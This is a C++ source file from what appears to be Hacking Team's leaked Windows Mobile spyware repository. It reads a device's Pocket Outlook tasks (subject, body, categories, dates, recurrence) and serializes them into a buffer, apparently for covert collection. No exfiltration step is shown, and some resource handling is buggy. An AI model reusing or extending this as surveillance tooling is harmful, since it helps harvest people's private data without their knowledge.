hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/PoomTaskReader.cpp

Summary

Maintainability
Test Coverage
#include "PoomTaskReader.h"
#include "PoomTask.h"

CPoomTaskReader::CPoomTaskReader(IFolder* pIFolder)
    :    IPoomFolderReader(pIFolder)
{
    _items = IPoomFolderReader::getItemCollection();
}

CPoomTaskReader::~CPoomTaskReader(void)
{
    if (_items)
        _items->Release();
}

int CPoomTaskReader::Count()
{
    INT uCount = 0;
    _items->get_Count(&uCount);
    return uCount;
}

HRESULT CPoomTaskReader::Get(int i, CPoomSerializer *pPoomSerializer, LPBYTE *pBuf, UINT *puBufLen)
{
    HRESULT hr = E_FAIL;

    if (_items == NULL || pBuf == NULL || puBufLen == NULL)
        return hr;

    CPoomTask *task = new(std::nothrow) CPoomTask();
    if (task == NULL)
        return hr;

    ITask *pElementTask = NULL;

    hr = _items->Item(i, (IDispatch **) &pElementTask);
    if (hr != S_OK)
        return hr;

    HeaderStruct *header = task->Header();
 
    hr = pElementTask->get_Oid(&header->lOid);
    if (hr == S_OK) {
        Parse(pElementTask, task);
        *pBuf = pPoomSerializer->Serialize(task, (LPDWORD) puBufLen);
    }

    if (task)
        delete task;

    if (pElementTask) 
        pElementTask->Release();
    
    return hr;
}

HRESULT CPoomTaskReader::GetOne(IPOutlookApp* pIPoomApp, LONG lOid, CPoomSerializer *pPoomSerializer, LPBYTE *pBuf, UINT* puBufLen)
{
    HRESULT hr = E_FAIL;

    if (pIPoomApp == NULL || pBuf == NULL || puBufLen == 0)
        return hr;

    ITask *pElementTask = NULL;

    if (FAILED(pIPoomApp->GetItemFromOid(lOid, (IDispatch **) &pElementTask)))
        return hr;

    CPoomTask *task = new(std::nothrow) CPoomTask();
    if (task == NULL) {
        pElementTask->Release();
        return hr;
    }

    HeaderStruct *header = task->Header();
    header->lOid = lOid;
    Parse(pElementTask, task);
    *pBuf = pPoomSerializer->Serialize(task, (LPDWORD) puBufLen);

    if (task) 
        delete task;

    if (pElementTask)
        pElementTask->Release();

    return S_OK;
}

void CPoomTaskReader::Parse(ITask* iTask, CPoomTask *task)
{
    DATE            dateTemp;
    LONG            longTemp;
    VARIANT_BOOL    variantBoolTemp;
    UINT            uintTemp;
    SYSTEMTIME        st;
    FILETIME        ft1;
    FILETIME        ft2;

    // VARIANT_BOOL
    if (SUCCEEDED(iTask->get_ReminderSet(&variantBoolTemp))) {
        if (variantBoolTemp == VARIANT_TRUE)
            task->SetFlags( task->Flags() | FLAG_REMINDER );
    }

    if (SUCCEEDED(iTask->get_Complete(&variantBoolTemp))) {
        if (variantBoolTemp == VARIANT_TRUE)
            task->SetFlags( task->Flags() | FLAG_COMPLETE );
    }

    // BSTR
    GETBSTR(iTask->get_Body, task->SetBody);
    GETBSTR(iTask->get_Categories, task->SetCategories);
    GETBSTR(iTask->get_Subject, task->SetSubject);

    // LONG
    if (SUCCEEDED(iTask->get_Sensitivity(&longTemp)))
        task->SetSensitivity(&longTemp);

    if(SUCCEEDED(iTask->get_Importance(&longTemp)))
        task->SetImportance(&longTemp);

    // DATE
    GETDATE(iTask->get_DueDate, task->SetDueDate);
    GETDATE(iTask->get_DateCompleted, task->SetDateCompleted);
    GETDATE(iTask->get_StartDate, task->SetStartDate);

    // RECURRENCE
    if (SUCCEEDED(iTask->get_IsRecurring(&variantBoolTemp))) {
        if (variantBoolTemp == VARIANT_TRUE) {
            task->SetFlags(task->Flags() | FLAG_RECUR);

            RecurStruct* rStruct = task->GetRecurStruct();
            ZeroMemory(rStruct, sizeof(RecurStruct));
            IRecurrencePattern *pRecurrence;    

            if (SUCCEEDED(iTask->GetRecurrencePattern(&pRecurrence))) {
                // LONG
                if (SUCCEEDED(pRecurrence->get_RecurrenceType(&longTemp)))
                    task->SetRecurrenceType(longTemp);

                if (SUCCEEDED(pRecurrence->get_Interval(&longTemp)))
                    task->SetInterval(longTemp);

                if (SUCCEEDED(pRecurrence->get_MonthOfYear(&longTemp)))
                    task->SetMonthOfYear(longTemp);

                if (SUCCEEDED(pRecurrence->get_DayOfMonth(&longTemp)))
                    task->SetDayOfMonth(longTemp);

                if (SUCCEEDED(pRecurrence->get_DayOfWeekMask(&longTemp)))
                    task->SetDayOfWeekMask(longTemp);

                if (SUCCEEDED(pRecurrence->get_Instance(&longTemp)))
                    task->SetInstance(longTemp);

                // DATE
                GETDATE(pRecurrence->get_PatternStartDate, task->SetPatternStartDate);

                // VARIANT BOOL
                if (SUCCEEDED(pRecurrence->get_NoEndDate(&variantBoolTemp))) {
                    if (variantBoolTemp == VARIANT_TRUE) {
                        task->SetFlags( task->Flags() | FLAG_RECUR_NoEndDate);
                        GETDATE(pRecurrence->get_PatternEndDate, task->SetPatternEndDate);            
                    }

                    if (SUCCEEDED(pRecurrence->get_Occurrences(&longTemp)))
                        task->SetOccurrences(longTemp);    
                }
            }

            if (pRecurrence) 
                pRecurrence->Release();
        }
    }
}